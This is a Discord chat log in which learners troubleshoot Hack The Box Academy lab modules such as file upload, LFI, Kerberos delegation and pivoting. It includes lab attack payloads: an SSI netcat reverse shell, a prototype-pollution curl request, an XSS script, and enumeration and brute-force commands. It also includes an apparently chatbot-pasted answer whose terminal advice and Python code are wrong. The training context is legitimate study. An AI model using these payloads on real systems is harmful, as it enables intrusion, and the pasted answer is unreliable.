modules

[tidal mango]

Hours later... that took 5 minutes after what you pointed me to (rewrote autogen.sh as suggested. Thank you again for the pointer on using the search!!

[fathom pendant]

It happens

I ended up cheating my first time through footprinting module, using a gui email client bc I could not figure out the cli. Then went back and breezed through on a second go

[tidal mango]

Yeah this is my second go as well. It makes so much more sense this time.... i feel like I might actually understand most of this module.

[fathom pendant]

Yeah this module was just boring to me tbh

[tulip coral]

goodnight i would like to kindly request some assistance in File upload attacks, specifically Blacklist

[rustic sage]

i’m not at my computer, but have you looked at phpinfo(); to verify system is allowed

[tulip coral]

@rustic sage no i have not will give it a go

[paper rivet]

Hi, anyone can help me with WhiteBox Attacks module? Please

I'm stuck in Privilege Escalation section

[acoustic owl]

Think about what exactly is needed to be logged in as admin and then think about how you can "override" that

[sly dome]

does anyone know what module is talking about?

[misty current]

Which module do they mention this in?

[sly dome]

Broken Authentication

[ruby elbow]

Hi! how you doing? Any hint on this?

[tidal kelp]

how awesome is this OSINT Recon Module? 1000 boxes...

[fathom pendant]

Because some of the fundamentals are advanced concepts

Which rely on some other base knowledge to get started

[sly dome]

anyone sanity check on Broken Authentication - Skill Assessment?

i think im filtering properly but i dont find the way

[potent grail]

Hey Everyone
I have an issue
LFI and File Uploads module
When i try upload shell.gif file i get nothing, form did'nt work
What can i do in this case ?

[vital adder]

not completely disagree with this but the tier III modules i've so far do have a bit more fundamental then advanced stuff

[vital adder]

after that part your wordlist should have about ||50|| or under

[sly dome]

yea

i have 12

[vital adder]

yea we need a bit more info than that for us to be able to help you

[sly dome]

i have 11 users and 12 passwords

the python script i made up is working properly

so idk 🤷‍♂️

[vital adder]

still not sure about this part but when i do this module when it first come out there was like 1 user which is the right one

[vital adder]

try burp

[sly dome]

what?

[deft knot]

Can someone explain me how exactly, in context of unconstrained delegation attack, does the KUD-capable machine receives the TGT of the user that is trying to access it? Someone told me i think that it is being passed in the AP-REQ????

[potent grail]

i just got this,i can't press upload button

[vital adder]

but the part that you are on shouldn't be affect by that

[sly dome]

im trying to get the valid user:pass to get in

enumerated users done -> got 11

filtered passwords done -> got 12

none of the combinations work

the cookie tamper is not working because i think there is a protection behind

[potent grail]

also i used burp suite to analyze where request go, then i navigate to upload.php and get this error

[sly dome]

i also got the cookie part if you are asking

[vital adder]

this is how unconstrained delegation https://www.youtube.com/watch?v=xDFRUYv1-eU and for the attacks there should be some blog on thehacker recipes site

[vital adder]

oh no there isn't

[vital adder]

if this is the case you can skip user and get admin if not you still have to get user first

[sly dome]

can i dm coz otherwise im gonna spoil something

[vital adder]

sure

[vital adder]

because you didn't bypass the filter

first which section are you on? and whay did you try?

[potent grail]

Flie Inclusion LFI and File Uploads

here nothing about filter bypassing

[potent grail]

i meant about image filters,only how to bypass directory traversel filters

[vital adder]

the trick is turn off your brain and do the season, i got that rank without known for like a month or 2

also you know retired machine don't give you point right?

[vital adder]

oh my bad give me a sec

oh i thought your main objective was to get the rank but this is way better

just have fun and don't try to get the ranks and soon you will get it

that box foothold is straight forward, haven't done it but i'll do it in a few day so if you are still stuck maybe i can help but i don't take that good of a note for boxes

[vital adder]

ok for that section follow the Phar Upload part in that section

[potent grail]

i get the same problem

[tender lake]

anyone done Linux Privilege Escalation Logrotate recently?
I cant seem to find the standard configuration file /etc/logrotate.conf Do I need to reset the machine?

[vital adder]

after uploading you access your shell the same way the section show right?

[vital adder]

it's in backups/access.log

[tender lake]

Do you mean the log that I need to rotate is the access.log?

[vital adder]

yep

[tender lake]

Do I need to do anything specific to get the log to rotate?

[sly dome]

anyone can check me on the Broken Auth - Skill Assessment, i have the correct password and user list

[tender lake]

Figured it out, Thanks MRTom for the directions

[mystic nebula]

hi guys, i have a problem with the Introduction to Academy module, im stuck on the “Interactive Section with Target” section

[lusty thicket]

have you tried interacting with the target?

[mystic nebula]

the browser just doesnt connect

[fathom pendant]

If you're using the in-browser vm then it doesn't have any internet access unless you buy some cubes

[mystic nebula]

On my machine it works perfectly, I can search for the IP address, but on the VM it doesn't let me search for anything, I have tried searching for other domains like YouTube or Google, but it doesn't work

[mystic nebula]

really? So how can I complete it?

[fathom pendant]

Just use your own browser outside it or set up your own vm

Since you don't need any special tools to get the answer just look at the webpage

[mystic nebula]

It's funny, because if I execute the command "ping google.com", for example, it works

[fathom pendant]

The other bonus to buying any amount of cubes OR buying a subscription is that you get unlimited access

[fathom pendant]

The internet access is highly limited

Like restrictively limited

But like I said the recommended thing is to set up your own linux vm and work off that rather than the browser

[mystic nebula]

okay thank you very much!

[paper rivet]

I use the next payload: ||curl -x POST -d '{"proto": {"isAdmin": true}}' -H "Content-Type: application/json" http://IP:Port/login||

[paper rivet]

Is it wrong?

1. ||I register a new user||
2. ||I use the payload||
3. ||I enter as my user and try to access to the admin dashboard||
   4.||Nothing happen||
4. ||I feel sad :(||

[sand cedar]

Yo I'm doing XSS module, the first question, and I'm using the right payload but I get no popup. Idk if its a massive skill issue on my end am I missing smth? Even the example one they give to test for XSS just doesn't work. Confused :/

payload used ||<script>alert(window.origin)</script>||

shit jus don work men

nvm it was massive skill issue lol

[haughty pond]

Hey guys, im struggling with SockOverRDP section from pivoting module. The exercise tells us to RDP into 172.16.6.155 but when i try it i get an error, so i tried to rdp into 172.16.5.19 (thinking there was an error with ip the exercise) and i get the authentication prompt but login doesn't work.

Do u have an idea ?

[fathom pendant]

Follow the pivoting steps exactly as described in the section

You go from foothold -> machine1 -> machine2

[haughty pond]

So no error in IP ?

I'll restart steps, ty 🙂

[fathom pendant]

There is a middle ip to get to first

The question is the final ip destination

[haughty pond]

oowww

okay

[fathom pendant]

You do have the credentials as well for that middle ip

Where you set up the proxifier tool

You have to load the socksoverrdp dll first

[sly dome]

anyone with access to the broken auth skill assessment for a check?i have the correct lists of password and users but my python script says NO to every combination xD

[fathom pendant]

Then your script sucks :^>

[sly dome]

it is good

coz i solved it with burp

why cant i solve it with python

if it does the same

[languid dawn]

forgot a cookie or csrf or a missing header?

[sly dome]

na i got the reason

you have to url encode the "."

[languid dawn]

URL encoding the wrong chars? have you tried looking at your queries through burp or wireshark

Welp that would do it

[fathom pendant]

At least you figured it out

[sly dome]

i hate urlencoded forms :/

why not just json all the way

[ebon jasper]

Hello everyone!
Can someone help me, I am in "Attacking enterprise network" module.
Third question of this module giving me headache

"What is the FQDN of the associated subdomain?"

It's been 5 hour I can't find anything I am stuck.
First i tried nslookup, I thought it was inlanefreight.local but answer is wrong
I tried to zone transfer, brute forcing, subdomain enumeration I can't find anything. I even tried to enter any subdomain that I found. Still failed i need help

[fathom pendant]

Google what a fqdn is, you're already told that it's related to the subdomain. So x.inlanefreight.local

Fully Qualified Domain Name

Inlanefreight.local is the overall domain

But it's being specific about the subdomain: so start there

[paper rivet]

I did it!

[ebon jasper]

I already searched, I tried to read anything about FQDN, i thought it was monitoring or blog. But these are not answer. Last time i tried to enter any subdomain that i found. I used Namelist.txt, top 1 million 110000 wordlists to brute force then I try to enter anything that i found still failed

It's crazy i am missing something

[fathom pendant]

associated subdomain might be another look into it

So it's directly related to what you're looking at

[analog dock]

usually i use ffuf -w /usr/share/spiderfoot/spiderfoot/dicts/subdomains-10000.txt -u http://10.129.201.90 -H 'HOST: FUZZ.inlanefreight.local' -fs 46166 for subdomain enum, adjust per target

[ebon jasper]

I already used ffuf and dnsenum tools

Found some subdomains but none of them FQDN

[analog dock]

What was the outcome?

[fathom pendant]

Should probably take to dms because spoilers

[sly dome]

it was not the urlencode, i was little worried about that because in data sent via POST method you do not need urlencode

it was the "\n" character from each line

[misty current]

You're not wrong, UD configured machine will act on behalf of the user that has authenticated to it. It keeps a copy of the TGT stored in itself when a user requests for a ticket from the KDC, so that it can later request service tickets using the copy of the TGT and doesn't require the user to constantly having to request for service tickets.
So compromising the UD configured machine means you can access TGT stored when a user or machine account authenticates to it.

[hidden spade]

Im working on Windows fundamentals.
I have spun up the Windows target machine and connected to it via freeRDP, but i cant ping it or use smbclient to fullfill the task.
This is the error: (Error NT_STATUS_IO_TIMEOUT)
Either i didnt understand the exercise or im missing something else. Any advice?

[fathom pendant]

Have you checked you're looking at the right share? smbclient -L //ip/ will list the available shares

[hidden spade]

smbclient -L //10.129.157.173/
do_connect: Connection to 10.129.157.173 failed (Error NT_STATUS_IO_TIMEOUT)

[fathom pendant]

Restart the target

Or is the share even running

[hidden spade]

I tried restarting already.
How would I check if the share is running?

[fathom pendant]

Idk follow the section step by step

[hidden spade]

I disabled the firewall, now it works as intended. Thank you

[mossy hatch]

is it only me or every target spawn can't respond to anything for any section?

[fathom pendant]

Are you connected to the vpn?

[deft knot]

👍
So I made a little note on this topic which is basically a summary of a great video @MR.tom#1775 sent to me earlier. In case anyone wants to refresh this topic fast

• If in KRB-TGS-REQ KDC will notice that KDC-REQ-BODY -> sname contains a name of a service that has UAC THRUSTED_FOR_DELEGATION privilege, KDC will add enc-part -> EncTGSRepPart(encrypted with user session key) -> flags -> ok-as-delegate in TGS-REP
• If in the first KRB-TGS-REP the client notices enc-part -> EncTGSRepPart(encrypted with user session key) -> flags -> ok-as-delegate, the client will send a second KRB-TGS-REP request requesting a delegation TGT (TGT with KDC-REQ-BODY -> kdc-options -> forwarded)
• The server will reply with KRB-TGS-REP containing enc-part -> EncTGSRepPart(encrypted with user session key) -> flags -> forwarded flag and the copy of the TGT that will be used by the account with KUD privileges (delegation TGT)
• The client in the consequent KRB-AP-REQ will send not only the TGS for the service, but also "delegation TGT" (authenticator -> cksum -> krb-cred -> tickets), user session key associated with this delegation TGT (authenticator -> cksum -> krb-cred -> enc-part -> cypher -> encKrbCredPart -> ticket-info -> key), subkey to decrypt the aforementioned user session key (authenticator -> subkey)
• The service then uses aquired delegation TGT to make a KRB-TGS-REQ to KDC

[mossy hatch]

yeah i tried with my kali machine and with the pwnbox but just nmap doesn't work

or it work for like 7 minutes

[fathom pendant]

Well if you're running pwnbox and vpn at the same time it'll be funky

[mossy hatch]

yeah not at the same time of course

[fathom pendant]

Try changing vpn regions and downloading a new config

[mossy hatch]

ok thanks i'll try

[vagrant orbit]

Is anyone able to help with the AD Module? Stuck trying to find the ObjectAceType of the forend user's rights over GPO management group.

[quick crane]

What do I need to do to verify my account on HTB’s discord

[hallow kiln]

read and follow #welcome

[novel lantern]

Hello, I apologize for bothering you, but I require assistance with the 'SSI Injection Exploitation Example' module. My reverse shell is not functioning. I've attempted to break it into three pieces, but unfortunately, it's still not working.
This is the RS: "<!--#exec cmd="mkfifo /tmp/foo;nc <PENTESTER IP> <PORT> 0</tmp/foo|/bin/bash 1>/tmp/foo;rm /tmp/foo" -->"

Does not work. Then, I broke it in 3 pieces:
<!--#exec cmd="mkfifo /tmp/foo" -->
<!--#exec cmd="nc 10.10.15.199 9090 0</tmp/foo | /bin/bash 1>/tmp/foo" -->
<!--#exec cmd="rm /tmp/foo" -->
No sucess

[fathom pendant]

<@&861185840277487616>

[vital adder]

that copycat forum was so (r word)ed i'm not even sure if it's a serious rule break

[vital adder]

sure which section?

[vagrant orbit]

Got it, thanks tho!

[orchid pine]

helllo guys im back

[cinder agate]

Hii

[orchid pine]

after a two days break

strating Active Directory Enumeration & Attacks wish me luck

<@&861185840277487616>

[cinder agate]

No no

I have no evil intentions

Only

I was curious

Sorry

[orchid pine]

this channel for education purpose

[fathom pendant]

Read #welcome and #rules

[sly nebula]

Right now whenever I try to start instances in Academy I get "There are no available instances. Please try again later.".

[rustic sage]

neither it's working for me

[acoustic owl]

Sorry, I was not online the whole day.
If you still need help, send me a DM

[rustic sage]

Hi payloadbunny, have you tried the cdsa path?

[acoustic owl]

I am almost done with it

[rustic sage]

what do you think?

[acoustic owl]

The path is great, but I need more training. I am not a logfile mole yet

did you start with it too?

[distant moat]

i cant open my pwnbox "there are no available instances. please try again later." but i am paid member😭

[acoustic owl]

Errors happen, even to paying customers 🤷‍♂️

[distant moat]

[rustic sage]

I'm p2w and I have the same issue

[barren apex]

im doing the basic LFI module and whenever i try and read /etc/passwd it just hangs?

[vague dragon]

Just finished Server-side Attacks module and I'm not sure I did the final assessment correctly =/ Was I supposed to look for something on port 8080? I simply found a JS script, got the link from it

[barren apex]

weird, it works on pwnbox but VPN just hangs

[acoustic owl]

Try to change the VPN Region

[vagrant orbit]

I have had alot of success with this command: sudo ifconfig tun0 mtu 1200

or maybe its mtu tun0?

try both 😄

[barren apex]

has been working for fine for months on other modules, so will have a look if the problem continues

thanks guys

[muted trail]

Hi, got issue with crackmapexec in kali 2023 , it echo nothing with smb bruteforce

anyone know about it ?

can't send image here

[orchid pine]

just dropp the output of the cmnd

[hallow kiln]

also read and follow #welcome , and let us know what module/section you're working on

[muted trail]

it's output nothing

literally

[next tree]

Does anyone know of AI thats used for cyber security type things ? Like an AI assistant that in real time analyzes what your doing and gives information, tips, possible infection strategies etc

[orchid pine]

can you copy past the cmnd u used

btw guys what is ur review about this module what is the best part and where i need to pay a lot of attention

[rustic sage]

what module?

[hallow kiln]

No one can help without knowing what command you used and what you're trying to do

[orchid pine]

ACTIVE DIRECTORY ENUMERATION & ATTACKS

[orchid pine]

u can dm me with screen shot

and i ll put it here if u want

[hallow kiln]

I don't know what to tell you, pretty much everything in that module is important

[muted trail]

crackmapexec smb -i 10.10.10.184 -u users.txt -p pass.txt

[rustic sage]

i agree with @hallow kiln everything is important (obviously)

i'm actually redoing that module now since i've finished the path🤷‍♂️

[hallow kiln]

crackmapexec doesn't use an -i flag for the IP

[rustic sage]

feel like there were a few things brushed over (looking at the command cheat sheet) that might come in handy

[muted trail]

feel so awkward

thank you guys

[muted trail]

this is the reason

[sly dome]

you could have googled it, just a tip

[muted trail]

yes tried a lot ,but just thought would be software or env error

[hallow kiln]

I mean if you run the command, it says "crackmapexec smb: error: the following arguments are required: target" which points you in the right direction

another thing is to use the help menu

[sly dome]

that is so smart btw

[fathom pendant]

Imagine using a tool's -h flag or man <tool>

[muted trail]

tried but missed 😅

[rustic sage]

why would i do that when i can just chatgpt it🤪 (sarcasm)

[hallow kiln]

unheard of

[vagrant orbit]

Very cringe

Is there any way to make the RDP connection more consistent over the vpn? I keep getting failed logins/kicked off mid session

[fathom pendant]

Says the one currently playing cs2

[vagrant orbit]

I'll have you know I tried to close it and it won't close

[fathom pendant]

Using the tcp vpn download instead of udp

[vagrant orbit]

Thanks dood

[vagrant orbit]

😭

[fathom pendant]

It won't even let you force it closed via task manager tho?

[covert grail]

hey guys I really cant understand how to do this Can some one help me plz

[vagrant orbit]

Haven't tried, gonna hop back on after work teehee c:

[covert grail]

I really dont know what should i do to see the Ajp

[vagrant orbit]

Also, not sure if I am being a doofus but I'm on Academy and don't see an option to get a TCP vpn connection

[rustic sage]

click on your profile (top right), click vpn settings

[vagrant orbit]

Very swag indeed

thanks

[fathom pendant]

Well considering its saying replicate the steps shown in this section, start there

[fathom pendant]

?

[vagrant orbit]

Does anyone know another place to download proxifier? It seems like the og website is not working

[covert grail]

not working

[acoustic owl]

https://www.proxifier.com

[vagrant orbit]

Thanks man 🙂

Oh wait

that doesn't work for me

It's fine I figured it out anyway, cheers though

[quaint willow]

Hi Guys. I am facing some problems with the module Windows Event Logs. Have anyone completed that module ? I might have few questions from them regarding identification of the PRINT Folder access

[arctic sentinel]

Hello guys! Im in the final part of the Python3 introducroty module! Anyone has done it already?!?

[rough lagoon]

HEY GUYS does anyone know if there are any videos for linux fundamentals which actually read all the modules?
I searched for some over youtube but I couldn't find..

[sly dome]

?

read them by yourself maybe

[rough lagoon]

I just understand things better when i hear them 😅

[sly dome]

you gonna work that out

otherwise you are lost in cybersecurity

[hallow kiln]

to be fair, there's plenty of videos out there on topics ranging from the basics to more advanced stuff, but also an insane amount of material to read through

in any case, you may find some modules on YouTube, but it's not allowed to post anything above Tier 0, so you'll be back to reading after

[hallow kiln]

if you want video courses, go for TCM, HTB is all reading, all the time

[upper ruin]

(Enumerate the SMTP service even further and find the username that exists on the system. Submit it as the answer

I saw the footprinting-wordlists.txt, but to no avail.

Anyone got ideas?
I am completely out.

[hallow kiln]

what have you done so far?

[upper ruin]

Well, the first task.

Or you mean done so far in terms of progress on the 2nd?

[hallow kiln]

progress on the 2nd, what did you try

[upper ruin]

smtp-user-enum -M RCPT -U /usr/share/metasploit-framework/data/wordlists/unix_users.txt -t 10.129.187.234
smtp-user-enum (with wordlist)
Auxiliary with nmap.

I found the smtp-enum-users, but I have no idea if that'll help.

Did the open-relay -v as well.

[hallow kiln]

did you try with the wordlist from the module?

[upper ruin]

Yep, footprinting-wordlist.txt

0 results.

[hallow kiln]

tbh I do remember having some issues with that section, what ultimately worked for me was Metasploit's smtp_enum module with the module wordlist

[upper ruin]

https://gyazo.com/d9d4ef6d1540e63e3d15e4a98896bf22

Oo. Well, let me try it then.

Thank You for the advice, kind sir.

[hallow kiln]

hope it works

[swift forge]

Hello, I'm trying to do the Guided Lab for the Active Directory module and when I attampt to RDP into the target machine, I just get a black screen. Any thoughts and is the target actually accessible?

[upper ruin]

Wait, so smtp enum with footprinting.wordlist?

[hallow kiln]

yep

[upper ruin]

Hm, aight,will try.

[hallow kiln]

make sure to set the file path to the list correctly in metasploit

[hallow kiln]

which section was that?

[sleek urchin]

When you a get a black screen, just hit ENTER and most likely the isse will be solved

[hallow kiln]

I had one machine that did that, had to use remmina

[swift forge]

https://tenor.com/view/cant-thankyou-enough-gif-25170543

[hallow kiln]

no way to know what's in the works

[fickle thicket]

" Upload the attached file named upload_win.zip to the target using the method of your choice. Once uploaded, RDP to the box, unzip the archive, and run "hasher upload_win.txt" from the command line. Submit the generated hash as your answer." anyone have clue for this? " Windows File Transfer Methods
under file transfer module

i tried to use curl with ftp and also http but it doesn't work

[weak fractal]

I am stuck in the last question in Skills Assessment - WordPress , I've tried password attack and searchsploit for plugins . I didn't find anything interesting , any hint ?

[loud sparrow]

Could someone give me a hint for the second question Skills Assessment: Using Crackmapexec?

[fickle thicket]

i think i done it a bit differently but not sure i am right or not. i download the file in my kali machine then i RDP to the target first. next, I download the file from kali

[elfin cedar]

hello. can anyone help me on the Zap section for the Web Proxies module? I think I got the right cookie but when I resend it, there is no flag in the body and the cookie reverts back to the original one.

nevermind its there

I just had to scroll down some wow

[undone narwhal]

You got the user?

[ebon trail]

have u tried to google de question?

[sly dome]

my brain just went boom after SSRF example

is that a docker inside the target?

http://<TARGET IP>/load?q=http://127.0.0.1:PORT in this schema isn't PORT 80 the same port where is the web app under <TARGET_IP>

?

http://<TARGET IP>/load?q=http://internal.app.local/load?q=http::////127.0.0.1:5000/ here internal.app.local is a web app under a docker instance right? otherwise im not understanding

https://academy.hackthebox.com/module/145/section/1298

[thorn urchin]

I mean 1. youre specifying a different port there so yeah thats a different service and 2. even if that wasnt the case, vhost redirects can be at play

[sly dome]

but in the 1st q= parameter if i place 127.0.0.1:80 i will get the same resource that is under http://<TARGET_IP> right?

[thorn urchin]

Usually you should. but vhost/url_rewrites can do funky stuff

so id never say never for that

[sly dome]

and in the 2nd q the 127.0.0.1 has to be a different network in this case?

[brisk comet]

Trying to understand how a Fundamentals level Academy has a super simple but challenge breaking JS bug in one of the steps and then the next step says that it seems the page's exercise is broken when it's not.

https://academy.hackthebox.com/module/35/section/223

https://academy.hackthebox.com/module/35/section/247

[sly dome]

also when you get the RCE you are inside a docker container

[thorn urchin]

the server should hit the same listening service. but it could just be an apache proxy or such ya know

[sly dome]

with ip 172.17.0.3

[sly dome]

woah

[thorn urchin]

thats just one example

[sly dome]

yea

a strange one

bit confusing

[brisk comet]

where is the best place to send bug reports?

[thorn urchin]

another could be if the backend SSRF is sending the requests to an entirely different service in which case 127.0.0.1 would be the IP of the internal server, not the public one anyways.

[sly dome]

wdym bugs?

[thorn urchin]

which would be more common for say microservices type stuff

[fathom pendant]

Message support on the website

[brisk comet]

they used window.onload instead of document.onload in the challenge for https://academy.hackthebox.com/module/35/section/223

[sly dome]

thx @thorn urchin

[brisk comet]

it's not valid js and doesn't cause the page to perform it's second get request so that the flag can be discovered via the documentation

I had to find the error log in the console and then navigate to the flag's txt file that should have been rendered onload()

[sly dome]

you do not

[brisk comet]

I will drop a note to support though, thanks Marcie

[sly dome]

xD

[fathom pendant]

If you're looking to suggest a change with what you think and can prove should work #858470491676737536

[sly dome]

i got it like the exercise tells

[thorn urchin]

window.onload is valid js

what browser youre using

[sly dome]

use another browser

i think firefox can be weird sometimes

[brisk comet]

hmmm, when I searched it up I was finding some stackexchange comments saying it wasn't and didn't push it further, I was using Opera GX so hmm

let me go double check my stream, I clipped it

[sly dome]

weird opera is chromium-based

i used Edge which also is

[thorn urchin]

Opera GX might as well be an obscure browser though

[fathom pendant]

Yeah opera can be 50/50 sometimes

[sly dome]

wasnt that the gamer browser?

[thorn urchin]

GamerTM

[sly dome]

haha too much lights for me

[fathom pendant]

It's an alright browser

[sly dome]

yes

[fathom pendant]

Easy customization

[brisk comet]

sorry, the script uses "document.onload()"

[sly dome]

as we said try other browser

[fathom pendant]

Yeah

It's a browser skill issue

[sly dome]

HAHAHA

[brisk comet]

yes I will, but I misspoke, is document.onload valid? the SE comments I found said it had to be executed on an element of the page

[woeful reef]

Hi guys🫃

[fathom pendant]

Yes

[limber river]

when they changed it to tier 2 ?

[brisk comet]

firefox:

[sly dome]

but it works

[fathom pendant]

Wrong channel read #welcome

[sly dome]

it is not saying 404 now

[brisk comet]

chrome:

[sly dome]

reload your target idk

it is working for me

[brisk comet]

yeah but the second get request doesn;t happen

you can find the text file, so did I

[sly dome]

does not happen for YOU

[brisk comet]

but it's supposed to execute a get request

[sly dome]

is not a bug

since it isn't happening for others

its a bug when it happens for everyone

[brisk comet]

you're not following the excersize, it's ok

I'll send to support

[sly dome]

i have it done

as i showed you the 2nd GET request is done

XD?

[analog dock]

Always was afaik

[limber river]

it was tier 3 and it still give back 100 cube , I guess

[analog dock]

Interesting, I remember it being tier 2 but you might be right! I unlocked it, need to do it still though

[limber river]

have fun

[sly dome]

lol bugged?

that is 100 free cubes 🤣

4 students

[fathom pendant]

Tier 3 does in fact refund 100 cubes

¯_(ツ)_/¯

They maybe forgot to update c00b rewards for it

[sly dome]

we won’t say

[limber river]

Shuuut be silence dude

Lol

[fathom pendant]

¯_(ツ)_/¯

It's honestly arbitrary

[brisk comet]

sry had to jump into a meeting but I can;t argue that I'm seeing a second get request and the flag in the response body in chrome so I will play around with it a little bit more for my own understanding

thanks for your insight!

[trail depot]

Yeah they changed it to tier 2 a few days ago I noticed
It’s probably because since they decide to add it to the new soc fundamentals path, so they had to downgrade it to tier 2 for silver annual / students 🤣

[sly dome]

sometimes things get buggy

[brisk comet]

and yeah I'd consider Opera to be a bit obscure but it's handy to split tunnel VPN with while I stream without impacting my whole system and I wanted to test them out again since they seem to be marketing directly to the gamer crowd and their cpu and ram limiting features seem useful to a tab whore such as myself

[limber river]

I hope they keep the 100 cube x)

[fathom pendant]

It'll probably be updated in 20 business days

[flint chasm]

Hi All
Someone can help me with Logrotate in Linux Privilege Escalation?

[fathom pendant]

Ask the question/be more specific with the issue your having

[flint chasm]

I done everything from the text and is not working for me

not sure also why in this machine there is no /etc/logrotate.conf

I find this /snap/lxd/24918/etc/logrotate.conf
/snap/lxd/23889/etc/logrotate.conf
but it looks different

[half inlet]

Hi all,
I am working on the following module: https://academy.hackthebox.com/module/144/section/1256

I am stuck on the second question at the moment: Identify how many zones exist on the target nameserver. Submit the number of found zones as the answer.

I don't really understand fully what DNS zones are or how to find them -- on my way to find them I was trying to both nslookup and dig the nameserver domain (ns.inlanefreight.htb) but I don't understand why what im doing isnt working.

I am trying to run nslookup ns.inlanefreight.htb -type=any -query=AXFR, however it keeps telling me that the connection to the domain failed, saying it timed out. However, when I replace the query with NS, or dont provide and specific query it works fine. I have verified that I can ping inlanefreight.htb and ns.inlanefreight.htb, as I have entered these into my hosts file.

Anyone able to provide a little bit of help? Also, I don't understand DNS' inner workings all that well (the records) so it may seem a little stupid haha

I got somewhere by running nslookup -type=any -query=AXFR inlanefreight.htb [SERVER IP]
however, when I try to run the same command but replacing inlanefreight.htb with ns.inlanefreight.htb, it gives me a 'notauth' error server can't find ns.inlanefreight.htb: NOTAUTH

Any ideas here? Im pretty stumped

[obsidian hound]

please help link references

[thorn urchin]

get lost

module chat isnt the place to spam a referral link, even(especially?) a htb referral link

[lusty thicket]

[lusty thicket]

english please

[vital adder]

this channels is for HTB academy modules read #welcome and #rules after that use /verify at #bot-commands and ask that at #challenges

[limpid siren]

The challenge is in spanish, can someone help me please?

[vital adder]

if that "challenge" isn't from hackthebox then just don't ask here to take it to #general

[limpid siren]

Do you know where can I ask? 😭

[vital adder]

follow this

[zenith dirge]

Hello everyone, please help me solve Skills Assessment - File Upload Attacks I read the upload file and the second where the extensions were written which are on the white list, but I can't upload the file I tried to create with the bash script all the extension. Once I managed to upload a file using png, but nothing worked and I know that the script changes the file name to the date, which can be viewed through burb. Please write. Not personally

[grave prairie]

Hi Anyone got the idea on how we can purchase cube in academy? (I have added my credit card) But on purchasing the cubes or subscribing it is giving Charge Failed error. There are options like redeeming Voucher, where can I purchase that?

[devout bone]

Hello everyone, please provide me with some guidance about the skills assessment for vulnerability assessment, the final openvas part doesn't quite work because i couldnt get openvas to install even following all the steps on my own parrot os machine. everytime i install it, it tells me that i'm missing openvas scanner any idea?

[fathom pendant]

Message support on the website tbh considering this is dealing with your PII and sensitive info

[fathom pendant]

The assessment provides you a box to rdp to that has prepopulated scans if I recall

Sorry not rdp

Connect via browser

[devout bone]

yes i opened the browser box, but it doesn't have gvm or openvas preinstalled, when i attempt to install those tools, it tells me that (The following packages have unmet dependencies:
redis-server : Depends: redis-tools (= 5:6.0.16-1+deb11u2) but 5:7.0.10-1~bpo11+1 is to be installed
E: Unable to correct problems, you have held broken packages.)

[half inlet]

do you have any pointers? I have a difficult time with DNS, so I really don’t understand what to try next; I tried reviewing the lesson but I didn’t find anything that I didn’t already try

[fathom pendant]

Sir you're misunderstanding

The IP that is from the spawn target has the open-vas installed

[modern falcon]

Zones are the ones that have SOA entry

[devout bone]

ah my apologies, i got it

[fathom pendant]

You connect via browser at https://ip:8080

[devout bone]

thank you!

[fathom pendant]

the actual target is described in the question

[half inlet]

So an SOA entry is like a link to another DNS server (zone)? I’m having trouble fully understanding zones

[fathom pendant]

I'd recommend using the pre-populated scan data as it can take forever to actually do the scan

[devout bone]

ok thanks!

[fathom pendant]

Everything can be answered from there, navigating the ui can be a pain tbh

[modern falcon]

SOA stores information about a zone. Each zone has exactly 1 SOA record. You can watch some youtube videos about DNS and zone transfer to understand it better

[fathom pendant]

Tbh the modules that include dns stuff don't really go too in-depth with it

[sterile epoch]

Hi guys, need some help. I am currently looking into reverse shell using netcat but when I connect to it and try to view any type of file I cannot scroll up in the terminal to view the output of a command like when I try to run the LinEnum script I cannot scroll up in the terminal to view the outputs of the scan i tried using python pty shell but its still the same

and how do I stop a process without killing the shell?

[autumn pilot]

have you tried redirecting the output to a file

[crystal marsh]

To scroll up in the terminal when using reverse shell using netcat, you can use the following command:

stty -ixon
This will enable the XON/XOFF protocol, which allows you to control the flow of data between the terminal and the remote host. To scroll up, you can press Ctrl+S to stop the output of the command, and then press Ctrl+Q to resume the output.

To stop a process without killing the shell, you can use the following command:

disown
This will remove the process from the shell's job list, so it will continue to run even if the shell exits.

Here is an example of how to use the stty and disown commands:

$ nc -lvp 4444
listening on [any] 4444 ...
connect to [any] 4444 (stdin is a tty)
whoami
root
To scroll up and view the output of the whoami command, you can press Ctrl+S, and then press Ctrl+Q.

To stop the whoami command without killing the shell, you can press Ctrl+Z, and then type disown.

Here is an example of how to use the python pty shell to scroll up and view the output of a command:

Python
import pty

def shell():
master, slave = pty.openpty()
os.system('stty -ixon < {}'.format(slave))
p = subprocess.Popen(['bash'], shell=True, stdin=slave, stdout=slave, stderr=slave)
while True:
data = os.read(master, 1024)
if data:
sys.stdout.write(data)
sys.stdout.flush()
else:
break
os.close(master)
os.close(slave)

shell()
Use code with caution. Learn more
This will create a new shell session and enable the XON/XOFF protocol. You can then run any command you want, and you will be able to scroll up and view the output.

To stop the shell session, you can press Ctrl+Z and then type exit.

[lusty thicket]

i think bro just wants to scroll up

[lusty thicket]

you can redirect the output to a file then view that file using the more or less command

[violet prawn]

Hi, i'm doing the IPMI module of Footprinting and i'm having problems finding the cleartext password. I run the command using "scanner/ipmi/ipmi_dumphashes" and i found only the username and the hash but not the cleartext password like in the example in the module. I tried cracking the hash with hashcat but every time i run the msf "run" the hash change. Can anyone give me a hint?

[fathom pendant]

Identify the hash type and Crack it that way don't use the ?1?1?1?1?1 mask

[uncut flint]

Can anyone help me with the AERO machine please?

[fathom pendant]

You're not gonna get cleartext, you're gonna have to crack it

[fathom pendant]

#boxes

[uncut flint]

thanks

[violet prawn]

i tried to identify it with hashid but it says unknown hash if i use the entire of it , however if i use only the part after the ":" i got it

[fathom pendant]

So run hashcat against that using the provided wordlist from the module

[violet prawn]

and cracking it gives me "exhausted" response

[fathom pendant]

Also make sure you're using the right hashcat mode

[violet prawn]

it is

SHA-1 is mode 100

[fathom pendant]

Actually rockyou works

Wrong hadhcat mode

You need to use the ipmi mode...

[violet prawn]

ohhhhhhh

im so dumb

ahahahah

[fathom pendant]

7300

[violet prawn]

thx

[fathom pendant]

You can also google

[violet prawn]

Thanks i got it

[rustic sage]

SELECT * FROM titles WHERE emp_no > 10000 OR title =! 'Engineer'; is answer

From this sentence it indicates me the answer to know how many records are not engineers.

[sly dome]

from that sentence i get the correct answer 🤷🏻‍♂️

note to use NOT LIKE in uppercase since it is MariaDB

[vagrant orbit]

Good morning all, would anyone mind helping me with the pivoting lab? I am stuck on the first pivot, meterpreter has tried to spawn over 200 shells and it doesn't seem to be stopping any time soon.

Nevermind I got it, payload was set wrong on meterpreter

[cedar void]

